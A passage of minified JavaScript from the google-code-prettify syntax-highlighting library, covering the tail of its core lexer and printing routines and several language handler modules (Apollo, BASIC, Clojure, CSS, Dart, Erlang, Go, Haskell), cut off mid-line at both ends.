e[0]-a[0]||a[1]-e[1]});b=[];f=[];for(a=0;a<e.length;++a)h=e[a],h[0]<=f[1]+1?f[1]=Math.max(f[1],h[1]):b.push(f=h);for(a=0;a<b.length;++a)h=b[a],c.push(g(h[0])),\n\t\th[1]>h[0]&&(h[1]+1>h[0]&&c.push(\"-\"),c.push(g(h[1])));c.push(\"]\");return c.join(\"\")}function s(e){for(var a=e.source.match(/\\[(?:[^\\\\\\]]|\\\\[\\S\\s])*]|\\\\u[\\dA-Fa-f]{4}|\\\\x[\\dA-Fa-f]{2}|\\\\\\d+|\\\\[^\\dux]|\\(\\?[!:=]|[()^]|[^()[\\\\^]+/g),c=a.length,d=[],f=0,h=0;f<c;++f){var l=a[f];l===\"(\"?++h:\"\\\\\"===l.charAt(0)&&(l=+l.substring(1))&&(l<=h?d[l]=-1:a[f]=g(l))}for(f=1;f<d.length;++f)-1===d[f]&&(d[f]=++x);for(h=f=0;f<c;++f)l=a[f],l===\"(\"?(++h,d[h]||(a[f]=\"(?:\")):\"\\\\\"===l.charAt(0)&&(l=+l.substring(1))&&l<=h&&\n\t\t(a[f]=\"\\\\\"+d[l]);for(f=0;f<c;++f)\"^\"===a[f]&&\"^\"!==a[f+1]&&(a[f]=\"\");if(e.ignoreCase&&m)for(f=0;f<c;++f)l=a[f],e=l.charAt(0),l.length>=2&&e===\"[\"?a[f]=b(l):e!==\"\\\\\"&&(a[f]=l.replace(/[A-Za-z]/g,function(a){a=a.charCodeAt(0);return\"[\"+String.fromCharCode(a&-33,a|32)+\"]\"}));return a.join(\"\")}for(var x=0,m=!1,j=!1,k=0,c=a.length;k<c;++k){var i=a[k];if(i.ignoreCase)j=!0;else if(/[a-z]/i.test(i.source.replace(/\\\\u[\\da-f]{4}|\\\\x[\\da-f]{2}|\\\\[^UXux]/gi,\"\"))){m=!0;j=!1;break}}for(var r={b:8,t:9,n:10,v:11,\n\t\tf:12,r:13},n=[],k=0,c=a.length;k<c;++k){i=a[k];if(i.global||i.multiline)throw Error(\"\"+i);n.push(\"(?:\"+s(i)+\")\")}return RegExp(n.join(\"|\"),j?\"gi\":\"g\")}function T(a,d){function g(a){var c=a.nodeType;if(c==1){if(!b.test(a.className)){for(c=a.firstChild;c;c=c.nextSibling)g(c);c=a.nodeName.toLowerCase();if(\"br\"===c||\"li\"===c)s[j]=\"\\n\",m[j<<1]=x++,m[j++<<1|1]=a}}else if(c==3||c==4)c=a.nodeValue,c.length&&(c=d?c.replace(/\\r\\n?/g,\"\\n\"):c.replace(/[\\t\\n\\r ]+/g,\" \"),s[j]=c,m[j<<1]=x,x+=c.length,m[j++<<1|1]=\n\t\ta)}var b=/(?:^|\\s)nocode(?:\\s|$)/,s=[],x=0,m=[],j=0;g(a);return{a:s.join(\"\").replace(/\\n$/,\"\"),d:m}}function H(a,d,g,b){d&&(a={a:d,e:a},g(a),b.push.apply(b,a.g))}function U(a){for(var d=void 0,g=a.firstChild;g;g=g.nextSibling)var b=g.nodeType,d=b===1?d?a:g:b===3?V.test(g.nodeValue)?a:d:d;return d===a?void 0:d}function C(a,d){function g(a){for(var j=a.e,k=[j,\"pln\"],c=0,i=a.a.match(s)||[],r={},n=0,e=i.length;n<e;++n){var z=i[n],w=r[z],t=void 0,f;if(typeof w===\"string\")f=!1;else{var h=b[z.charAt(0)];\n\t\tif(h)t=z.match(h[1]),w=h[0];else{for(f=0;f<x;++f)if(h=d[f],t=z.match(h[1])){w=h[0];break}t||(w=\"pln\")}if((f=w.length>=5&&\"lang-\"===w.substring(0,5))&&!(t&&typeof t[1]===\"string\"))f=!1,w=\"src\";f||(r[z]=w)}h=c;c+=z.length;if(f){f=t[1];var l=z.indexOf(f),B=l+f.length;t[2]&&(B=z.length-t[2].length,l=B-f.length);w=w.substring(5);H(j+h,z.substring(0,l),g,k);H(j+h+l,f,I(w,f),k);H(j+h+B,z.substring(B),g,k)}else k.push(j+h,w)}a.g=k}var b={},s;(function(){for(var g=a.concat(d),j=[],k={},c=0,i=g.length;c<i;++c){var r=\n\t\tg[c],n=r[3];if(n)for(var e=n.length;--e>=0;)b[n.charAt(e)]=r;r=r[1];n=\"\"+r;k.hasOwnProperty(n)||(j.push(r),k[n]=q)}j.push(/[\\S\\s]/);s=S(j)})();var x=d.length;return g}function v(a){var d=[],g=[];a.tripleQuotedStrings?d.push([\"str\",/^(?:'''(?:[^'\\\\]|\\\\[\\S\\s]|''?(?=[^']))*(?:'''|$)|\"\"\"(?:[^\"\\\\]|\\\\[\\S\\s]|\"\"?(?=[^\"]))*(?:\"\"\"|$)|'(?:[^'\\\\]|\\\\[\\S\\s])*(?:'|$)|\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$))/,q,\"'\\\"\"]):a.multiLineStrings?d.push([\"str\",/^(?:'(?:[^'\\\\]|\\\\[\\S\\s])*(?:'|$)|\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)|`(?:[^\\\\`]|\\\\[\\S\\s])*(?:`|$))/,\n\t\tq,\"'\\\"`\"]):d.push([\"str\",/^(?:'(?:[^\\n\\r'\\\\]|\\\\.)*(?:'|$)|\"(?:[^\\n\\r\"\\\\]|\\\\.)*(?:\"|$))/,q,\"\\\"'\"]);a.verbatimStrings&&g.push([\"str\",/^@\"(?:[^\"]|\"\")*(?:\"|$)/,q]);var b=a.hashComments;b&&(a.cStyleComments?(b>1?d.push([\"com\",/^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/,q,\"#\"]):d.push([\"com\",/^#(?:(?:define|e(?:l|nd)if|else|error|ifn?def|include|line|pragma|undef|warning)\\b|[^\\n\\r]*)/,q,\"#\"]),g.push([\"str\",/^<(?:(?:(?:\\.\\.\\/)*|\\/?)(?:[\\w-]+(?:\\/[\\w-]+)+)?[\\w-]+\\.h(?:h|pp|\\+\\+)?|[a-z]\\w*)>/,q])):d.push([\"com\",\n\t\t/^#[^\\n\\r]*/,q,\"#\"]));a.cStyleComments&&(g.push([\"com\",/^\\/\\/[^\\n\\r]*/,q]),g.push([\"com\",/^\\/\\*[\\S\\s]*?(?:\\*\\/|$)/,q]));if(b=a.regexLiterals){var s=(b=b>1?\"\":\"\\n\\r\")?\".\":\"[\\\\S\\\\s]\";g.push([\"lang-regex\",RegExp(\"^(?:^^\\\\.?|[+-]|[!=]=?=?|\\\\#|%=?|&&?=?|\\\\(|\\\\*=?|[+\\\\-]=|->|\\\\/=?|::?|<<?=?|>>?>?=?|,|;|\\\\?|@|\\\\[|~|{|\\\\^\\\\^?=?|\\\\|\\\\|?=?|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\\\\s*(\"+(\"/(?=[^/*\"+b+\"])(?:[^/\\\\x5B\\\\x5C\"+b+\"]|\\\\x5C\"+s+\"|\\\\x5B(?:[^\\\\x5C\\\\x5D\"+b+\"]|\\\\x5C\"+\n\t\ts+\")*(?:\\\\x5D|$))+/\")+\")\")])}(b=a.types)&&g.push([\"typ\",b]);b=(\"\"+a.keywords).replace(/^ | $/g,\"\");b.length&&g.push([\"kwd\",RegExp(\"^(?:\"+b.replace(/[\\s,]+/g,\"|\")+\")\\\\b\"),q]);d.push([\"pln\",/^\\s+/,q,\" \\r\\n\\t\\u00a0\"]);b=\"^.[^\\\\s\\\\w.$@'\\\"`/\\\\\\\\]*\";a.regexLiterals&&(b+=\"(?!s*/)\");g.push([\"lit\",/^@[$_a-z][\\w$@]*/i,q],[\"typ\",/^(?:[@_]?[A-Z]+[a-z][\\w$@]*|\\w+_t\\b)/,q],[\"pln\",/^[$_a-z][\\w$@]*/i,q],[\"lit\",/^(?:0x[\\da-f]+|(?:\\d(?:_\\d+)*\\d*(?:\\.\\d*)?|\\.\\d\\+)(?:e[+-]?\\d+)?)[a-z]*/i,q,\"0123456789\"],[\"pln\",/^\\\\[\\S\\s]?/,\n\t\tq],[\"pun\",RegExp(b),q]);return C(d,g)}function J(a,d,g){function b(a){var c=a.nodeType;if(c==1&&!x.test(a.className))if(\"br\"===a.nodeName)s(a),a.parentNode&&a.parentNode.removeChild(a);else for(a=a.firstChild;a;a=a.nextSibling)b(a);else if((c==3||c==4)&&g){var d=a.nodeValue,i=d.match(m);if(i)c=d.substring(0,i.index),a.nodeValue=c,(d=d.substring(i.index+i[0].length))&&a.parentNode.insertBefore(j.createTextNode(d),a.nextSibling),s(a),c||a.parentNode.removeChild(a)}}function s(a){function b(a,c){var d=\n\t\tc?a.cloneNode(!1):a,e=a.parentNode;if(e){var e=b(e,1),g=a.nextSibling;e.appendChild(d);for(var i=g;i;i=g)g=i.nextSibling,e.appendChild(i)}return d}for(;!a.nextSibling;)if(a=a.parentNode,!a)return;for(var a=b(a.nextSibling,0),d;(d=a.parentNode)&&d.nodeType===1;)a=d;c.push(a)}for(var x=/(?:^|\\s)nocode(?:\\s|$)/,m=/\\r\\n?|\\n/,j=a.ownerDocument,k=j.createElement(\"li\");a.firstChild;)k.appendChild(a.firstChild);for(var c=[k],i=0;i<c.length;++i)b(c[i]);d===(d|0)&&c[0].setAttribute(\"value\",d);var r=j.createElement(\"ol\");\n\t\tr.className=\"linenums\";for(var d=Math.max(0,d-1|0)||0,i=0,n=c.length;i<n;++i)k=c[i],k.className=\"L\"+(i+d)%10,k.firstChild||k.appendChild(j.createTextNode(\"\\u00a0\")),r.appendChild(k);a.appendChild(r)}function p(a,d){for(var g=d.length;--g>=0;){var b=d[g];F.hasOwnProperty(b)?D.console&&console.warn(\"cannot override language handler %s\",b):F[b]=a}}function I(a,d){if(!a||!F.hasOwnProperty(a))a=/^\\s*</.test(d)?\"default-markup\":\"default-code\";return F[a]}function K(a){var d=a.h;try{var g=T(a.c,a.i),b=g.a;\n\t\ta.a=b;a.d=g.d;a.e=0;I(d,b)(a);var s=/\\bMSIE\\s(\\d+)/.exec(navigator.userAgent),s=s&&+s[1]<=8,d=/\\n/g,x=a.a,m=x.length,g=0,j=a.d,k=j.length,b=0,c=a.g,i=c.length,r=0;c[i]=m;var n,e;for(e=n=0;e<i;)c[e]!==c[e+2]?(c[n++]=c[e++],c[n++]=c[e++]):e+=2;i=n;for(e=n=0;e<i;){for(var p=c[e],w=c[e+1],t=e+2;t+2<=i&&c[t+1]===w;)t+=2;c[n++]=p;c[n++]=w;e=t}c.length=n;var f=a.c,h;if(f)h=f.style.display,f.style.display=\"none\";try{for(;b<k;){var l=j[b+2]||m,B=c[r+2]||m,t=Math.min(l,B),A=j[b+1],G;if(A.nodeType!==1&&(G=x.substring(g,\n\t\t\tt))){s&&(G=G.replace(d,\"\\r\"));A.nodeValue=G;var L=A.ownerDocument,o=L.createElement(\"span\");o.className=c[r+1];var v=A.parentNode;v.replaceChild(o,A);o.appendChild(A);g<l&&(j[b+1]=A=L.createTextNode(x.substring(t,l)),v.insertBefore(A,o.nextSibling))}g=t;g>=l&&(b+=2);g>=B&&(r+=2)}}finally{if(f)f.style.display=h}}catch(u){D.console&&console.log(u&&u.stack||u)}}var D=window,y=[\"break,continue,do,else,for,if,return,while\"],E=[[y,\"auto,case,char,const,default,double,enum,extern,float,goto,inline,int,long,register,short,signed,sizeof,static,struct,switch,typedef,union,unsigned,void,volatile\"],\n\t\t\t\"catch,class,delete,false,import,new,operator,private,protected,public,this,throw,true,try,typeof\"],M=[E,\"alignof,align_union,asm,axiom,bool,concept,concept_map,const_cast,constexpr,decltype,delegate,dynamic_cast,explicit,export,friend,generic,late_check,mutable,namespace,nullptr,property,reinterpret_cast,static_assert,static_cast,template,typeid,typename,using,virtual,where\"],N=[E,\"abstract,assert,boolean,byte,extends,final,finally,implements,import,instanceof,interface,null,native,package,strictfp,super,synchronized,throws,transient\"],\n\t\tO=[N,\"as,base,by,checked,decimal,delegate,descending,dynamic,event,fixed,foreach,from,group,implicit,in,internal,into,is,let,lock,object,out,override,orderby,params,partial,readonly,ref,sbyte,sealed,stackalloc,string,select,uint,ulong,unchecked,unsafe,ushort,var,virtual,where\"],E=[E,\"debugger,eval,export,function,get,null,set,undefined,var,with,Infinity,NaN\"],P=[y,\"and,as,assert,class,def,del,elif,except,exec,finally,from,global,import,in,is,lambda,nonlocal,not,or,pass,print,raise,try,with,yield,False,True,None\"],\n\t\tQ=[y,\"alias,and,begin,case,class,def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo,rescue,retry,self,super,then,true,undef,unless,until,when,yield,BEGIN,END\"],W=[y,\"as,assert,const,copy,drop,enum,extern,fail,false,fn,impl,let,log,loop,match,mod,move,mut,priv,pub,pure,ref,self,static,struct,true,trait,type,unsafe,use\"],y=[y,\"case,done,elif,esac,eval,fi,function,in,local,set,then,until\"],R=/^(DIR|FILE|vector|(de|priority_)?queue|list|stack|(const_)?iterator|(multi)?(set|map)|bitset|u?(int|float)\\d*)\\b/,\n\t\tV=/\\S/,X=v({keywords:[M,O,E,\"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END\",P,Q,y],hashComments:!0,cStyleComments:!0,multiLineStrings:!0,regexLiterals:!0}),F={};p(X,[\"default-code\"]);p(C([],[[\"pln\",/^[^<?]+/],[\"dec\",/^<!\\w[^>]*(?:>|$)/],[\"com\",/^<\\!--[\\S\\s]*?(?:--\\>|$)/],[\"lang-\",/^<\\?([\\S\\s]+?)(?:\\?>|$)/],[\"lang-\",/^<%([\\S\\s]+?)(?:%>|$)/],[\"pun\",/^(?:<[%?]|[%?]>)/],[\"lang-\",\n\t\t/^<xmp\\b[^>]*>([\\S\\s]+?)<\\/xmp\\b[^>]*>/i],[\"lang-js\",/^<script\\b[^>]*>([\\S\\s]*?)(<\\/script\\b[^>]*>)/i],[\"lang-css\",/^<style\\b[^>]*>([\\S\\s]*?)(<\\/style\\b[^>]*>)/i],[\"lang-in.tag\",/^(<\\/?[a-z][^<>]*>)/i]]),[\"default-markup\",\"htm\",\"html\",\"mxml\",\"xhtml\",\"xml\",\"xsl\"]);p(C([[\"pln\",/^\\s+/,q,\" \\t\\r\\n\"],[\"atv\",/^(?:\"[^\"]*\"?|'[^']*'?)/,q,\"\\\"'\"]],[[\"tag\",/^^<\\/?[a-z](?:[\\w-.:]*\\w)?|\\/?>$/i],[\"atn\",/^(?!style[\\s=]|on)[a-z](?:[\\w:-]*\\w)?/i],[\"lang-uq.val\",/^=\\s*([^\\s\"'>]*(?:[^\\s\"'/>]|\\/(?=\\s)))/],[\"pun\",/^[/<->]+/],\n\t\t[\"lang-js\",/^on\\w+\\s*=\\s*\"([^\"]+)\"/i],[\"lang-js\",/^on\\w+\\s*=\\s*'([^']+)'/i],[\"lang-js\",/^on\\w+\\s*=\\s*([^\\s\"'>]+)/i],[\"lang-css\",/^style\\s*=\\s*\"([^\"]+)\"/i],[\"lang-css\",/^style\\s*=\\s*'([^']+)'/i],[\"lang-css\",/^style\\s*=\\s*([^\\s\"'>]+)/i]]),[\"in.tag\"]);p(C([],[[\"atv\",/^[\\S\\s]+/]]),[\"uq.val\"]);p(v({keywords:M,hashComments:!0,cStyleComments:!0,types:R}),[\"c\",\"cc\",\"cpp\",\"cxx\",\"cyc\",\"m\"]);p(v({keywords:\"null,true,false\"}),[\"json\"]);p(v({keywords:O,hashComments:!0,cStyleComments:!0,verbatimStrings:!0,types:R}),\n\t\t[\"cs\"]);p(v({keywords:N,cStyleComments:!0}),[\"java\"]);p(v({keywords:y,hashComments:!0,multiLineStrings:!0}),[\"bash\",\"bsh\",\"csh\",\"sh\"]);p(v({keywords:P,hashComments:!0,multiLineStrings:!0,tripleQuotedStrings:!0}),[\"cv\",\"py\",\"python\"]);p(v({keywords:\"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END\",hashComments:!0,multiLineStrings:!0,regexLiterals:2}),[\"perl\",\"pl\",\"pm\"]);p(v({keywords:Q,\n\t\thashComments:!0,multiLineStrings:!0,regexLiterals:!0}),[\"rb\",\"ruby\"]);p(v({keywords:E,cStyleComments:!0,regexLiterals:!0}),[\"javascript\",\"js\"]);p(v({keywords:\"all,and,by,catch,class,else,extends,false,finally,for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then,throw,true,try,unless,until,when,while,yes\",hashComments:3,cStyleComments:!0,multilineStrings:!0,tripleQuotedStrings:!0,regexLiterals:!0}),[\"coffee\"]);p(v({keywords:W,cStyleComments:!0,multilineStrings:!0}),[\"rc\",\"rs\",\"rust\"]);\n\t\tp(C([],[[\"str\",/^[\\S\\s]+/]]),[\"regex\"]);var Y=D.PR={createSimpleLexer:C,registerLangHandler:p,sourceDecorator:v,PR_ATTRIB_NAME:\"atn\",PR_ATTRIB_VALUE:\"atv\",PR_COMMENT:\"com\",PR_DECLARATION:\"dec\",PR_KEYWORD:\"kwd\",PR_LITERAL:\"lit\",PR_NOCODE:\"nocode\",PR_PLAIN:\"pln\",PR_PUNCTUATION:\"pun\",PR_SOURCE:\"src\",PR_STRING:\"str\",PR_TAG:\"tag\",PR_TYPE:\"typ\",prettyPrintOne:D.prettyPrintOne=function(a,d,g){var b=document.createElement(\"div\");b.innerHTML=\"<pre>\"+a+\"</pre>\";b=b.firstChild;g&&J(b,g,!0);K({h:d,j:g,c:b,i:1});\n\t\t\treturn b.innerHTML},prettyPrint:D.prettyPrint=function(a,d){function g(){for(var b=D.PR_SHOULD_USE_CONTINUATION?c.now()+250:Infinity;i<p.length&&c.now()<b;i++){for(var d=p[i],j=h,k=d;k=k.previousSibling;){var m=k.nodeType,o=(m===7||m===8)&&k.nodeValue;if(o?!/^\\??prettify\\b/.test(o):m!==3||/\\S/.test(k.nodeValue))break;if(o){j={};o.replace(/\\b(\\w+)=([\\w%+\\-.:]+)/g,function(a,b,c){j[b]=c});break}}k=d.className;if((j!==h||e.test(k))&&!v.test(k)){m=!1;for(o=d.parentNode;o;o=o.parentNode)if(f.test(o.tagName)&&\n\t\t\to.className&&e.test(o.className)){m=!0;break}if(!m){d.className+=\" prettyprinted\";m=j.lang;if(!m){var m=k.match(n),y;if(!m&&(y=U(d))&&t.test(y.tagName))m=y.className.match(n);m&&(m=m[1])}if(w.test(d.tagName))o=1;else var o=d.currentStyle,u=s.defaultView,o=(o=o?o.whiteSpace:u&&u.getComputedStyle?u.getComputedStyle(d,q).getPropertyValue(\"white-space\"):0)&&\"pre\"===o.substring(0,3);u=j.linenums;if(!(u=u===\"true\"||+u))u=(u=k.match(/\\blinenums\\b(?::(\\d+))?/))?u[1]&&u[1].length?+u[1]:!0:!1;u&&J(d,u,o);r=\n\t\t{h:m,c:d,j:u,i:o};K(r)}}}i<p.length?setTimeout(g,250):\"function\"===typeof a&&a()}for(var b=d||document.body,s=b.ownerDocument||document,b=[b.getElementsByTagName(\"pre\"),b.getElementsByTagName(\"code\"),b.getElementsByTagName(\"xmp\")],p=[],m=0;m<b.length;++m)for(var j=0,k=b[m].length;j<k;++j)p.push(b[m][j]);var b=q,c=Date;c.now||(c={now:function(){return+new Date}});var i=0,r,n=/\\blang(?:uage)?-([\\w.]+)(?!\\S)/,e=/\\bprettyprint\\b/,v=/\\bprettyprinted\\b/,w=/pre|xmp/i,t=/^code$/i,f=/^(?:pre|code|xmp)$/i,\n\t\t\th={};g()}};typeof define===\"function\"&&define.amd&&define(\"google-code-prettify\",[],function(){return Y})})();}()\n\n// lang-apollo.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"com\",/^#[^\\n\\r]*/,null,\"#\"],[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"str\",/^\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,null,'\"']],[[\"kwd\",/^(?:ADS|AD|AUG|BZF|BZMF|CAE|CAF|CA|CCS|COM|CS|DAS|DCA|DCOM|DCS|DDOUBL|DIM|DOUBLE|DTCB|DTCF|DV|DXCH|EDRUPT|EXTEND|INCR|INDEX|NDX|INHINT|LXCH|MASK|MSK|MP|MSU|NOOP|OVSK|QXCH|RAND|READ|RELINT|RESUME|RETURN|ROR|RXOR|SQUARE|SU|TCR|TCAA|OVSK|TCF|TC|TS|WAND|WOR|WRITE|XCH|XLQ|XXALQ|ZL|ZQ|ADD|ADZ|SUB|SUZ|MPY|MPR|MPZ|DVP|COM|ABS|CLA|CLZ|LDQ|STO|STQ|ALS|LLS|LRS|TRA|TSQ|TMI|TOV|AXT|TIX|DLY|INP|OUT)\\s/,\n\tnull],[\"typ\",/^(?:-?GENADR|=MINUS|2BCADR|VN|BOF|MM|-?2CADR|-?[1-6]DNADR|ADRES|BBCON|[ES]?BANK=?|BLOCK|BNKSUM|E?CADR|COUNT\\*?|2?DEC\\*?|-?DNCHAN|-?DNPTR|EQUALS|ERASE|MEMORY|2?OCT|REMADR|SETLOC|SUBRO|ORG|BSS|BES|SYN|EQU|DEFINE|END)\\s/,null],[\"lit\",/^'(?:-*(?:\\w|\\\\[!-~])(?:[\\w-]*|\\\\[!-~])[!=?]?)?/],[\"pln\",/^-*(?:[!-z]|\\\\[!-~])(?:[\\w-]*|\\\\[!-~])[!=?]?/],[\"pun\",/^[^\\w\\t\\n\\r \"'-);\\\\\\xa0]+/]]),[\"apollo\",\"agc\",\"aea\"]);\n\n// lang-basic.js\nvar a=null;\nPR.registerLangHandler(PR.createSimpleLexer([[\"str\",/^\"(?:[^\\n\\r\"\\\\]|\\\\.)*(?:\"|$)/,a,'\"'],[\"pln\",/^\\s+/,a,\" \\r\\n\\t\\u00a0\"]],[[\"com\",/^REM[^\\n\\r]*/,a],[\"kwd\",/^\\b(?:AND|CLOSE|CLR|CMD|CONT|DATA|DEF ?FN|DIM|END|FOR|GET|GOSUB|GOTO|IF|INPUT|LET|LIST|LOAD|NEW|NEXT|NOT|ON|OPEN|OR|POKE|PRINT|READ|RESTORE|RETURN|RUN|SAVE|STEP|STOP|SYS|THEN|TO|VERIFY|WAIT)\\b/,a],[\"pln\",/^[a-z][^\\W_]?(?:\\$|%)?/i,a],[\"lit\",/^(?:\\d+(?:\\.\\d*)?|\\.\\d+)(?:e[+-]?\\d+)?/i,a,\"0123456789\"],[\"pun\",\n\t/^.[^\\s\\w\"$%.]*/,a]]),[\"basic\",\"cbm\"]);\n\n// lang-clj.js\n/*\n Copyright (C) 2011 Google Inc.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n */\nvar a=null;\nPR.registerLangHandler(PR.createSimpleLexer([[\"opn\",/^[([{]+/,a,\"([{\"],[\"clo\",/^[)\\]}]+/,a,\")]}\"],[\"com\",/^;[^\\n\\r]*/,a,\";\"],[\"pln\",/^[\\t\\n\\r \\xa0]+/,a,\"\\t\\n\\r \\u00a0\"],[\"str\",/^\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,a,'\"']],[[\"kwd\",/^(?:def|if|do|let|quote|var|fn|loop|recur|throw|try|monitor-enter|monitor-exit|defmacro|defn|defn-|macroexpand|macroexpand-1|for|doseq|dosync|dotimes|and|or|when|not|assert|doto|proxy|defstruct|first|rest|cons|defprotocol|deftype|defrecord|reify|defmulti|defmethod|meta|with-meta|ns|in-ns|create-ns|import|intern|refer|alias|namespace|resolve|ref|deref|refset|new|set!|memfn|to-array|into-array|aset|gen-class|reduce|map|filter|find|nil?|empty?|hash-map|hash-set|vec|vector|seq|flatten|reverse|assoc|dissoc|list|list?|disj|get|union|difference|intersection|extend|extend-type|extend-protocol|prn)\\b/,a],\n\t[\"typ\",/^:[\\dA-Za-z-]+/]]),[\"clj\"]);\n\n// lang-css.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\f\\r ]+/,null,\" \\t\\r\\n\\u000c\"]],[[\"str\",/^\"(?:[^\\n\\f\\r\"\\\\]|\\\\(?:\\r\\n?|\\n|\\f)|\\\\[\\S\\s])*\"/,null],[\"str\",/^'(?:[^\\n\\f\\r'\\\\]|\\\\(?:\\r\\n?|\\n|\\f)|\\\\[\\S\\s])*'/,null],[\"lang-css-str\",/^url\\(([^\"')]+)\\)/i],[\"kwd\",/^(?:url|rgb|!important|@import|@page|@media|@charset|inherit)(?=[^\\w-]|$)/i,null],[\"lang-css-kw\",/^(-?(?:[_a-z]|\\\\[\\da-f]+ ?)(?:[\\w-]|\\\\\\\\[\\da-f]+ ?)*)\\s*:/i],[\"com\",/^\\/\\*[^*]*\\*+(?:[^*/][^*]*\\*+)*\\//],\n\t[\"com\",/^(?:<\\!--|--\\>)/],[\"lit\",/^(?:\\d+|\\d*\\.\\d+)(?:%|[a-z]+)?/i],[\"lit\",/^#[\\da-f]{3,6}\\b/i],[\"pln\",/^-?(?:[_a-z]|\\\\[\\da-f]+ ?)(?:[\\w-]|\\\\\\\\[\\da-f]+ ?)*/i],[\"pun\",/^[^\\s\\w\"']+/]]),[\"css\"]);PR.registerLangHandler(PR.createSimpleLexer([],[[\"kwd\",/^-?(?:[_a-z]|\\\\[\\da-f]+ ?)(?:[\\w-]|\\\\\\\\[\\da-f]+ ?)*/i]]),[\"css-kw\"]);PR.registerLangHandler(PR.createSimpleLexer([],[[\"str\",/^[^\"')]+/]]),[\"css-str\"]);\n\n// lang-dart.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"]],[[\"com\",/^#!.*/],[\"kwd\",/^\\b(?:import|library|part of|part|as|show|hide)\\b/i],[\"com\",/^\\/\\/.*/],[\"com\",/^\\/\\*[^*]*\\*+(?:[^*/][^*]*\\*+)*\\//],[\"kwd\",/^\\b(?:class|interface)\\b/i],[\"kwd\",/^\\b(?:assert|break|case|catch|continue|default|do|else|finally|for|if|in|is|new|return|super|switch|this|throw|try|while)\\b/i],[\"kwd\",/^\\b(?:abstract|const|extends|factory|final|get|implements|native|operator|set|static|typedef|var)\\b/i],\n\t[\"typ\",/^\\b(?:bool|double|dynamic|int|num|object|string|void)\\b/i],[\"kwd\",/^\\b(?:false|null|true)\\b/i],[\"str\",/^r?'''[\\S\\s]*?[^\\\\]'''/],[\"str\",/^r?\"\"\"[\\S\\s]*?[^\\\\]\"\"\"/],[\"str\",/^r?'('|[^\\n\\f\\r]*?[^\\\\]')/],[\"str\",/^r?\"(\"|[^\\n\\f\\r]*?[^\\\\]\")/],[\"pln\",/^[$_a-z]\\w*/i],[\"pun\",/^[!%&*+/:<-?^|~-]/],[\"lit\",/^\\b0x[\\da-f]+/i],[\"lit\",/^\\b\\d+(?:\\.\\d*)?(?:e[+-]?\\d+)?/i],[\"lit\",/^\\b\\.\\d+(?:e[+-]?\\d+)?/i],[\"pun\",/^[(),.;[\\]{}]/]]),\n\t[\"dart\"]);\n\n// lang-erlang.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t-\\r ]+/,null,\"\\t\\n\\u000b\\u000c\\r \"],[\"str\",/^\"(?:[^\\n\\f\\r\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,null,'\"'],[\"lit\",/^[a-z]\\w*/],[\"lit\",/^'(?:[^\\n\\f\\r'\\\\]|\\\\[^&])+'?/,null,\"'\"],[\"lit\",/^\\?[^\\t\\n ({]+/,null,\"?\"],[\"lit\",/^(?:0o[0-7]+|0x[\\da-f]+|\\d+(?:\\.\\d+)?(?:e[+-]?\\d+)?)/i,null,\"0123456789\"]],[[\"com\",/^%[^\\n]*/],[\"kwd\",/^(?:module|attributes|do|let|in|letrec|apply|call|primop|case|of|end|when|fun|try|catch|receive|after|char|integer|float,atom,string,var)\\b/],\n\t[\"kwd\",/^-[_a-z]+/],[\"typ\",/^[A-Z_]\\w*/],[\"pun\",/^[,.;]/]]),[\"erlang\",\"erl\"]);\n\n// lang-go.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"pln\",/^(?:\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)|'(?:[^'\\\\]|\\\\[\\S\\s])+(?:'|$)|`[^`]*(?:`|$))/,null,\"\\\"'\"]],[[\"com\",/^(?:\\/\\/[^\\n\\r]*|\\/\\*[\\S\\s]*?\\*\\/)/],[\"pln\",/^(?:[^\"'/`]|\\/(?![*/]))+/]]),[\"go\"]);\n\n// lang-hs.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t-\\r ]+/,null,\"\\t\\n\\u000b\\u000c\\r \"],[\"str\",/^\"(?:[^\\n\\f\\r\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,null,'\"'],[\"str\",/^'(?:[^\\n\\f\\r'\\\\]|\\\\[^&])'?/,null,\"'\"],[\"lit\",/^(?:0o[0-7]+|0x[\\da-f]+|\\d+(?:\\.\\d+)?(?:e[+-]?\\d+)?)/i,null,\"0123456789\"]],[[\"com\",/^(?:--+[^\\n\\f\\r]*|{-(?:[^-]|-+[^}-])*-})/],[\"kwd\",/^(?:case|class|data|default|deriving|do|else|if|import|in|infix|infixl|infixr|instance|let|module|newtype|of|then|type|where|_)(?=[^\\d'A-Za-z]|$)/,\n\tnull],[\"pln\",/^(?:[A-Z][\\w']*\\.)*[A-Za-z][\\w']*/],[\"pun\",/^[^\\d\\t-\\r \"'A-Za-z]+/]]),[\"hs\"]);\n\n// lang-lisp.js\nvar 